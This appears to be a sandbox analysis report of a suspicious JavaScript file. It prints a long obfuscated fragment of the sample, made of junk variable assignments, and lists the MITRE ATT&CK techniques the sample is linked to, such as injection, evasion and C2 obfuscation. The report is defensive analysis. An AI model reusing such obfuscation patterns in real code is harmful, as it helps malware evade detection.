564	ozkzp = "k";
565	ozkzp = "Y";
566	ozkzp = "B";
567	ozkzp = "k";
568	ozkzp = "L";
569	ozkzp = "T";
570	ozkzp = "z";
571	ozkzp = "a";
572	ozkzp = "r";
573	ozkzp = "z";
574	ozkzp = "j";
575	ozkzp = "h";
576	ozkzp = "P";
577	ozkzp = "t";
578	ozkzp = "d";
579	ozkzp = "I";
580	ozkzp = "Y";
581	ozkzp = "n";
582	ozkzp = "P";
583	ozkzp = "I";
584	ozkzp = "R";
585	ozkzp = "Q";
586	ozkzp = "U";
587	ozkzp = "j";
588	qbtdhd = "Z";
589	qbtdhd = "x";
590	qbtdhd = "H";
591	qbtdhd = "m";
592	qbtdhd = "W";
593	qbtdhd = "w";
594	qbtdhd = "b";
595	qbtdhd = "B";
596	qbtdhd = "A";
597	qbtdhd = "r";
598	ubbdy = "Z";
599	ubbdy = "a";
600	ubbdy = "Q";
601	ubbdy = "E";
602	ubbdy = "u";
603	ubbdy = "q";
604	ubbdy = "O";
605	ubbdy = "y";
606	ubbdy = "U";
607	ubbdy = "e";
608	ubbdy = "K";
609	ubbdy = "z";
610	ubbdy = "V";
611	ubbdy = "S";
612	ubbdy = "c";
613	ubbdy = "G";
614	ubbdy = "c";
615	ubbdy = "l";
616	ubbdy = "O";
617	ubbdy = "Z";
618	ubbdy = "s";
619	ubbdy = "a";
620	ubbdy = "f";
621	ubbdy = "i";
622	ubbdy = "N";
623	ubbdy = "o";
624	ubbdy = "P";
625	ubbdy = "m";
626	ubbdy = "h";
627	ubbdy = "l";
628	ubbdy = "K";
629	ubbdy = "g";
630	ubbdy = "/";
631	iganfx = "Y";
632	iganfx = "W";
633	iganfx = "y";
634	iganfx = "X";
635	iganfx = "R";
636	iganfx = "W";
637	iganfx = "B";
638	iganfx = "C";
639	iganfx = "U";
640	iganfx = "o";
641	iganfx = "M";
642	iganfx = "X";
643	iganfx = "W";
644	iganfx = "b";
645	iganfx = "t";
646	iganfx = "C";
647	iganfx = "S";
648	iganfx = "u";
649	iganfx = "m";
650	iganfx = "c";
651	iganfx = "B";
652	iganfx = "O";
653	iganfx = "B";
654	iganfx = "T";
655	iganfx = "f";
656	iganfx = "h";
657	iganfx = "I";
658	iganfx = "B";
659	iganfx = "Z";
660	iganfx = "E";
661	iganfx = "P";
662	iganfx = "a";
663	cnqny = "X";
664	cnqny = "H";
665	cnqny = "x";
666	cnqny = "C";
667	cnqny = "B";
668	cnqny = "v";
669	cnqny = "H";
670	cnqny = "U";
671	ghsnyxo = "z";
672	ghsnyxo = "z";
673	ghsnyxo = "a";
674	ghsnyxo = "M";
675	ghsnyxo = "U";
676	ghsnyxo = "K";
677	ghsnyxo = "a";
678	ghsnyxo = "Y";
679	ghsnyxo = "z";
680	ghsnyxo = "o";
681	ghsnyxo = "S";
682	ghsnyxo = "X";
683	ghsnyxo = "j";
684	ghsnyxo = "V";
685	ghsnyxo = "F";
686	ghsnyxo = "y";
687	ghsnyxo = "U";
688	ghsnyxo = "I";
689	ghsnyxo = "Y";
690	ghsnyxo = "A";
691	ghsnyxo = "I";
692	ghsnyxo = "R";
693	ghsnyxo = "K";
694	ghsnyxo = "Z";
695	ghsnyxo = "S";
696	ghsnyxo = "o";
697	ghsnyxo = " ";
698	aactpumxo = "m";
699	aactpumxo = "b";
700	aactpumxo = "W";
701	aactpumxo = "r";
702	aactpumxo = "P";
703	zezbh = "M";
704	zezbh = "t";
705	zezbh = "f";
706	zezbh = "T";
707	zezbh = "q";
708	zezbh = "j";
709	zezbh = "T";
710	zezbh = "o";
711	zezbh = "z";
712	zezbh = "G";
713	zezbh = "q";
714	zezbh = "P";
715	zezbh = "Q";
716	zezbh = "p";
717	zezbh = "s";
718	zezbh = "x";
719	zezbh = "P";
720	zezbh = "d";
721	zezbh = "I";
722	zezbh = "R";
723	zezbh = "k";
724	zezbh = "d";
725	wullfqe = "v";
726	wullfqe = "W";
727	wullfqe = "C";
728	wullfqe = "l";
729	wullfqe = "U";
730	wullfqe = "N";
731	wullfqe = "d";
732	wullfqe = "X";
733	wullfqe = "I";
734	wullfqe = "h";
735	wullfqe = "I";
736	wullfqe = "n";
737	wullfqe = "d";
738	wullfqe = "J";
739	wullfqe = "f";
740	wullfqe = "l";
741	wullfqe = "S";
742	wullfqe = "W";
743	wullfqe = "f";
744	wullfqe = "M";
745	wullfqe = "r";
746	wullfqe = "O";
747	wullfqe = "H";
748	wullfqe = "N";
749	wullfqe = "A";
750	wullfqe = "D";
751	wullfqe = "t";
752	wullfqe = "M";
753	wullfqe = "R";
754	wullfqe = "R";
755	wullfqe = "a";
756	wullfqe = "g";
757	wullfqe = "F";
758	wullfqe = "O";
759	wullfqe = "P";
760	wullfqe = "r";
761	wullfqe = "y";
762	wullfqe = "F";
763	wullfqe = "c";
764	wullfqe = "i";
765	wullfqe = "K";
766	wullfqe = "v";
767	wullfqe = "h";
768	jyccyj = "T";
769	jyccyj = "M";
770	jyccyj = "k";
771	jyccyj = "z";
772	jyccyj = "s";
773	jyccyj = "Y";
774	jyccyj = "j";
775	jyccyj = "x";
776	jyccyj = "G";
777	jyccyj = "Z";
778	jyccyj = "B";
779	jyccyj = "A";
780	jyccyj = "n";
781	jyccyj = "r";
782	jyccyj = "k";
783	jyccyj = "V";
784	jyccyj = "J";
785	jyccyj = "a";
786	jyccyj = "u";
787	ioavxfeah = "E";
788	ioavxfeah = "y";
789	ioavxfeah = "B";
790	ioavxfeah = "g";
791	ioavxfeah = "R";
792	ioavxfeah = "e";
793	ioavxfeah = "L";
794	ioavxfeah = "B";
795	ioavxfeah = "g";
796	ioavxfeah = "c";
797	ioavxfeah = "V";
798	ioavxfeah = "a";
799	ioavxfeah = "O";
800	ioavxfeah = "Y";
801	ioavxfeah = "e";
802	ioavxfeah = "s";
803	ioavxfeah = "q";
804	ioavxfeah = "q";
805	ioavxfeah = "g";
806	ioavxfeah = "O";
807	ioavxfeah = "X";
808	ioavxfeah = "g";
809	ioavxfeah = "h";
810	ioavxfeah = "b";
811	ioavxfeah = "n";
812	ioavxfeah = "E";
813	ioavxfeah = "X";
814	ioavxfeah = "r";
815	ioavxfeah = "e";
816	ioavxfeah = "y";
817	ioavxfeah = "L";
818	ioavxfeah = "d";
819	ioavxfeah = "m";
820	ioavxfeah = "r";
821	ioavxfeah = "d";
822	ioavxfeah = "t";
823	ioavxfeah = "k";
824	ioavxfeah = "t";
825	ioavxfeah = "c";
826	ioavxfeah = "m";
827	ioavxfeah = "v";
828	ioavxfeah = "F";
829	ioavxfeah = "w";
830	ioavxfeah = "X";
831	ioavxfeah = "e";
832	gifsy = "o";
833	gifsy = "n";
834	gifsy = "G";
835	gifsy = "y";
836	gifsy = "l";
837	gifsy = "U";
838	gifsy = "G";
839	gifsy = "G";
840	gifsy = "G";
841	gifsy = "Q";
842	gifsy = "A";
843	gifsy = "K";
844	gifsy = "N";
845	gifsy = "z";
846	gifsy = "A";
847	gifsy = "A";
848	gifsy = "G";
849	gifsy = "z";
850	gifsy = "h";
851	gifsy = "I";
852	gifsy = "Q";
853	gifsy = "h";
854	gifsy = "T";
855	gifsy = "S";
856	iemqvrmo = "N";
857	iemqvrmo = "p";
858	iemqvrmo = "K";
859	iemqvrmo = "E";
860	iemqvrmo = "K";
861	iemqvrmo = "e";
862	iemqvrmo = "T";
863	iemqvrmo = "A";
864	iemqvrmo = "n";
865	iemqvrmo = "V";
866	iemqvrmo = "N";
867	iemqvrmo = "s";
868	iemqvrmo = "O";
869	iemqvrmo = "P";
870	iemqvrmo = "w";
871	iemqvrmo = "h";
872	iemqvrmo = "j";
873	iemqvrmo = "S";
874	iemqvrmo = "C";
875	hxftlv = "s";
876	hxftlv = "o";
877	hxftlv = "f";
878	hxftlv = "N";
879	hxftlv = "O";
880	hxftlv = "u";
881	hxftlv = "H";
882	hxftlv = "k";
883	hxftlv = "P";
884	hxftlv = "r";
885	hxftlv = "i";
886	hxftlv = "s";
887	hxftlv = "t";
888	hxftlv = "H";
889	hxftlv = "x";
890	hxftlv = "C";
891	hxftlv = "Z";
892	hxftlv = "W";
893	hxftlv = "t";
894	hxftlv = "S";
895	hxftlv = "W";
896	hxftlv = "J";
897	hxftlv = "e";
898	hxftlv = "U";
899	hxftlv = "V";
900	hxftlv = "E";
901	hxftlv = "l";
902	hxftlv = "E";
903	hxftlv = "Y";
904	hxftlv = "L";
905	hxftlv = "x";
906	hxftlv = "G";
907	hxftlv = "G";
908	hxftlv = "B";
909	hxftlv = "c";
910	hxftlv = "Y";
911	hxftlv = "7";
912	oktjoocak = "T";
913	oktjoocak = "m";
914	oktjoocak = "P";
915	oktjoocak = "V";
916	oktjoocak = "S";
917	oktjoocak = "G";
918	oktjoocak = "g";
919	oktjoocak = "b";
920	oktjoocak = "W";
921	oktjoocak = "c";
922	oktjoocak = "f";
923	oktjoocak = "x";
924	oktjoocak = "Y";
925	oktjoocak = "F";
926	oktjoocak = "P";
927	oktjoocak = "l";
928	rokab = "G";
929	rokab = "G";
930	rokab = "3";
931	gokzltynb = "D";
932	gokzltynb = "r";
933	gokzltynb = "q";
934	gokzltynb = "r";
935	gokzltynb = "k";
936	gokzltynb = "c";
937	gokzltynb = "f";
938	gokzltynb = "n";
939	gokzltynb = "d";
940	gokzltynb = "g";
941	gokzltynb = "R";
942	gokzltynb = "L";
943	gokzltynb = "w";
944	gokzltynb = "n";
945	gokzltynb = "g";
946	gokzltynb = "O";
947	gokzltynb = "S";
948	gokzltynb = "G";
949	gokzltynb = "j";
950	gokzltynb = "y";
951	gokzltynb = "s";
952	gokzltynb = "s";
953	gokzltynb = "N";
954	gokzltynb = "F";
955	gokzltynb = "L";
956	gokzltynb = "v";
957	gokzltynb = "Q";
958	gokzltynb = "\"";
959	mhxhsiccx = "N";
960	mhxhsiccx = "l";
961	mhxhsiccx = "Z";
962	mhxhsiccx = "s";
963	mhxhsiccx = "s";
964	mhxhsiccx = "l";
965	mhxhsiccx = "J";
966	mhxhsiccx = "L";
967	mhxhsiccx = "A";
968	mhxhsiccx = "r";
969	mhxhsiccx = "W";
970	mhxhsiccx = "f";
971	mhxhsiccx = "O";
972	mhxhsiccx = "x";
973	mhxhsiccx = "J";
974	mhxhsiccx = "M";
975	mhxhsiccx = "F";
976	mhxhsiccx = "M";
977	mhxhsiccx = "Q";
978	mhxhsiccx = "E";
979	mhxhsiccx = "T";
980	mhxhsiccx = "p";
981	mhxhsiccx = "h";
982	mhxhsiccx = "a";
983	mhxhsiccx = "Y";
984	mhxhsiccx = "P";
985	mhxhsiccx = "F";
986	mhxhsiccx = "H";
987	mhxhsiccx = "Q";
988	mhxhsiccx = "h";
989	mhxhsiccx = "d";
990	mhxhsiccx = "U";
991	mhxhsiccx = "M";
992	mhxhsiccx = "m";
993	mhxhsiccx = "E";
994	mhxhsiccx = "C";
995	mhxhsiccx = "t";
996	mhxhsiccx = "O";
997	mhxhsiccx = "Q";
998	mhxhsiccx = "l";
999	mhxhsiccx = "G";
1000	mhxhsiccx = "Z";
1001	mhxhsiccx = "B";
1002	mhxhsiccx = "T";
1003	irqxkmnii = "r";
1004	irqxkmnii = "M";
1005	irqxkmnii = "w";
1006	irqxkmnii = "Q";
1007	irqxkmnii = "P";
1008	irqxkmnii = "d";
1009	irqxkmnii = "J";
1010	irqxkmnii = "K";
1011	irqxkmnii = "a";
1012	irqxkmnii = "o";
1013	irqxkmnii = "M";
1014	irqxkmnii = "H";
1015	irqxkmnii = "P";
1016	irqxkmnii = "f";
1017	irqxkmnii = "H";
1018	irqxkmnii = "f";
1019	irqxkmnii = "J";
1020	irqxkmnii = "G";
1021	irqxkmnii = "q";
1022	irqxkmnii = "L";
1023	irqxkmnii = "k";
1024	irqxkmnii = "X";
1025	irqxkmnii = "j";
1026	irqxkmnii = "H";
1027	irqxkmnii = "N";
1028	irqxkmnii = "X";
1029	irqxkmnii = "c";
1030	irqxkmnii = "Q";
1031	irqxkmnii = "T";
1032	irqxkmnii = "s";
1033	irqxkmnii = "K";
1034	irqxkmnii = "k";
1035	irqxkmnii = "P";
1036	irqxkmnii = "V";
1037	irqxkmnii = "e";
1038	irqxkmnii = "a";
1039	irqxkmnii = "k";
1040	irqxkmnii = "m";
1041	bcsbq = "U";
1042	bcsbq = "d";
1043	bcsbq = "T";
1044	bcsbq = "Z";
1045	bcsbq = "u";
1046	bcsbq = "1";
1047	uyewqb = "E";
1048	uyewqb = "Q";
1049	uyewqb = "i";
1050	uyewqb = "e";
1051	uyewqb = "J";
1052	uyewqb = "m";
1053	uyewqb = "q";
1054	uyewqb = "f";
1055	uyewqb = "V";
1056	uyewqb = "y";
1057	uyewqb = "s";
1058	uyewqb = "N";
1059	uyewqb = "N";
1060	uyewqb = "i";
1061	uyewqb = "h";
1062	uyewqb = "Q";
1063	uyewqb = "g";
1064	uyewqb = "I";
1065	uyewqb = "q";
1066	uyewqb = "f";
1067	uyewqb = "k";
1068	uyewqb = "M";
1069	uyewqb = "n";
1070	uyewqb = "B";
1071	uyewqb = "X";
1072	uyewqb = "G";
1073	uyewqb = "o";
1074	uyewqb = "W";
1075	uyewqb = "U";
1076	uyewqb = "y";
1077	uyewqb = "f";
1078	uyewqb = "k";
1079	uyewqb = "e";
1080	uyewqb = "c";
1081	uyewqb = "c";
1082	hbmgigzh = "W";
1083	hbmgigzh = "B";
1084	hbmgigzh = "b";
1085	hbmgigzh = "S";
1086	hbmgigzh = "w";
1087	hbmgigzh = "w";
1088	hbmgigzh = "u";
1089	hbmgigzh = "j";
1090	hbmgigzh = "m";
1091	hbmgigzh = "e";
1092	hbmgigzh = "V";
1093	hbmgigzh = "a";
1094	hbmgigzh = "A";
1095	hbmgigzh = "a";
1096	hbmgigzh = "L";
1097	hbmgigzh = "t";
1098	hbmgigzh = "B";
1099	hbmgigzh = "x";
1100	hbmgigzh = "\\";
1101	jjaknsbqq = "Q";
1102	jjaknsbqq = "K";
1103	jjaknsbqq = "o";
1104	jjaknsbqq = "s";
1105	jjaknsbqq = "o";
1106	jjaknsbqq = "g";
1107	jjaknsbqq = "U";
1108	jjaknsbqq = "K";
1109	jjaknsbqq = "E";
1110	jjaknsbqq = "0";
1111	qjbbajsyk = "Y";
1112	qjbbajsyk = "x";
1113	qjbbajsyk = "H";
1114	qjbbajsyk = "G";
1115	qjbbajsyk = "S";
1116	qjbbajsyk = "O";
1117	qjbbajsyk = "v";
1118	qjbbajsyk = "Z";
1119	qjbbajsyk = "j";
1120	qjbbajsyk = "N";
1121	qjbbajsyk = "X";
1122	qjbbajsyk = "V";
1123	qjbbajsyk = "v";
1124	qjbbajsyk = "Y";
1125	qjbbajsyk = "v";
1126	qjbbajsyk = "S";
1127	qjbbajsyk = "d";
1128	qjbbajsyk = "C";
1129	qjbbajsyk = "s";
1130	qjbbajsyk = "u";
1131	qjbbajsyk = "G";
1132	qjbbajsyk = "m";
1133	qjbbajsyk = "c";
1134	qjbbajsyk = "D";
1135	qjbbajsyk = "H";
1136	qjbbajsyk = "m";
1137	qjbbajsyk = "g";
1138	qjbbajsyk = "Y";
1139	qjbbajsyk = "v";
1140	qjbbajsyk = "H";
1141	usulaw = "q";
1142	usulaw = "a";
1143	usulaw = "T";
1144	usulaw = "w";
1145	usulaw = "w";
1146	usulaw = "V";
1147	usulaw = "b";
1148	usulaw = "x";
1149	usulaw = "d";
1150	usulaw = "t";
1151	usulaw = "h";
1152	usulaw = "E";
1153	usulaw = "k";
1154	usulaw = "j";
1155	usulaw = "K";
1156	usulaw = "h";
1157	usulaw = "d";
1158	usulaw = "k";
1159	usulaw = "I";
1160	usulaw = "S";
1161	usulaw = "Y";
1162	usulaw = "P";
1163	usulaw = "U";
1164	usulaw = "E";
1165	usulaw = "i";
1166	usulaw = "l";
1167	usulaw = "r";
1168	usulaw = "o";
1169	usulaw = "w";
1170	usulaw = "p";
1171	usulaw = "V";
1172	usulaw = "%";
1173	zmnjl = "C";
1174	zmnjl = "T";
1175	zmnjl = "k";
1176	zmnjl = "A";
1177	zmnjl = "f";
1178	zmnjl = "s";
1179	zmnjl = "2";
1180	ekdue = "F";
1181	ekdue = "s";
1182	ekdue = "H";
1183	ekdue = "T";
1184	ekdue = "j";
1185	ekdue = "Q";
1186	ekdue = "s";
1187	ekdue = "T";
1188	ekdue = "h";
1189	ekdue = "F";
1190	ekdue = "x";
1191	ekdue = "H";
1192	ekdue = "v";
1193	ekdue = "v";
1194	ekdue = "M";
1195	ekdue = "Z";
1196	ekdue = "j";
1197	ekdue = "b";
1198	ekdue = "U";
1199	ekdue = "m";
1200	ekdue = "S";
1201	ekdue = "I";
1202	ekdue = "I";
1203	ekdue = "T";
1204	ekdue = "x";
1205	ekdue = "U";
1206	ekdue = "R";
1207	ekdue = "Z";
1208	ekdue = "e";
1209	ekdue = "k";
1210	ekdue = "N";
1211	ekdue = "i";
1212	ekdue = "U";
1213	ekdue = "C";
1214	ekdue = "k";
1215	ekdue = "j";
1216	ekdue = "X";
1217	ekdue = "Q";
1218	ekdue = "s";
1219	ekdue = "d";
1220	ekdue = "h";
1221	ekdue = "b";
1222	ekdue = "g";
1223	ekdue = "J";
1224	ekdue = "i";
1225	tgbdk = "j";
1226	tgbdk = "e";
1227	tgbdk = "H";
1228	tgbdk = "p";
1229	eyllgaqmj = "z";
1230	eyllgaqmj = "n";
1231	infpkyu = "N";
1232	infpkyu = "R";
1233	huiyyd = "T";
1234	huiyyd = "n";
1235	huiyyd = "p";
1236	huiyyd = "x";
1237	huiyyd = "M";
1238	huiyyd = "n";
1239	huiyyd = "E";
1240	huiyyd = "O";
1241	slkxgisss = "F";
1242	slkxgisss = "i";
1243	slkxgisss = "R";
1244	slkxgisss = "D";
1245	slkxgisss = "M";
1246	slkxgisss = "e";
1247	slkxgisss = "d";
1248	slkxgisss = "Q";
1249	slkxgisss = "n";
1250	slkxgisss = "w";
1251	slkxgisss = "Z";
1252	slkxgisss = "e";
1253	slkxgisss = "g";
1254	slkxgisss = "R";
1255	slkxgisss = "d";
1256	slkxgisss = "d";
1257	slkxgisss = "s";
1258	slkxgisss = "V";
1259	slkxgisss = "t";
1260	slkxgisss = "S";
1261	slkxgisss = "i";
1262	slkxgisss = "t";
1263	apaobntnu = "x";
1264	apaobntnu = "x";
1265	apaobntnu = "P";
1266	apaobntnu = "K";
1267	apaobntnu = "O";
1268	apaobntnu = "I";
1269	apaobntnu = "i";
1270	apaobntnu = "e";
1271	apaobntnu = "Y";
1272	apaobntnu = "f";
1273	apaobntnu = "i";
1274	apaobntnu = "O";
1275	apaobntnu = "v";
1276	apaobntnu = "c";
1277	apaobntnu = "r";
1278	apaobntnu = "G";
1279	apaobntnu = "d";
1280	apaobntnu = "a";
1281	apaobntnu = "h";
1282	apaobntnu = "h";
1283	apaobntnu = "P";
1284	apaobntnu = "e";
1285	apaobntnu = "T";
1286	apaobntnu = "U";
1287	apaobntnu = "K";
1288	apaobntnu = "c";
1289	apaobntnu = "w";
1290	apaobntnu = "U";
1291	apaobntnu = "W";
1292	apaobntnu = "h";
1293	apaobntnu = "i";
1294	apaobntnu = "s";
1295	yyjbcwanj = "e";
1296	yyjbcwanj = "n";
1297	yyjbcwanj = "g";
1298	yyjbcwanj = "H";
1299	yyjbcwanj = "L";
1300	yyjbcwanj = "O";
1301	yyjbcwanj = "h";
1302	yyjbcwanj = "E";
1303	yyjbcwanj = "F";
1304	yyjbcwanj = "b";
1305	yyjbcwanj = "a";
1306	yyjbcwanj = "C";
1307	yyjbcwanj = "G";
1308	yyjbcwanj = "U";
1309	yyjbcwanj = "P";
1310	yyjbcwanj = "H";
1311	yyjbcwanj = "T";
1312	yyjbcwanj = "W";
1313	yyjbcwanj = "u";
1314	yyjbcwanj = "c";
1315	yyjbcwanj = "M";
1316	yyjbcwanj = "Y";
1317	weuycfdsz = "p";
1318	weuycfdsz = "i";
1319	weuycfdsz = "u";
1320	weuycfdsz = "D";
1321	weuycfdsz = "X";
1322	weuycfdsz = "f";
1323	weuycfdsz = "F";
1324	weuycfdsz = "T";
1325	weuycfdsz = "D";
1326	weuycfdsz = "t";
1327	weuycfdsz = "S";
1328	weuycfdsz = "e";
1329	weuycfdsz = "m";
1330	weuycfdsz = "C";
1331	weuycfdsz = "Q";
1332	weuycfdsz = "J";
1333	weuycfdsz = "A";
1334	weuycfdsz = "J";
1335	weuycfdsz = "q";
1336	weuycfdsz = "M";
1337	weuycfdsz = "Q";
1338	mikadd ( );	mikadd() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 91931239167124381.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

